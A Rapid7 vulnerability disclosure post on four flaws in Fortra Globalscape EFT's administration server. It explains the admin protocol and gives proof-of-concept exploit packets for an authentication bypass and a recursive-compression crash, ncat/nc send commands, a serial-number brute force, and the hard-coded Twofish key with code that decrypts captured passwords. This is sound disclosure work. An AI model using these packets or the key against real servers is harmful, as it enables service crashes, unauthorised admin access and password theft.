Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
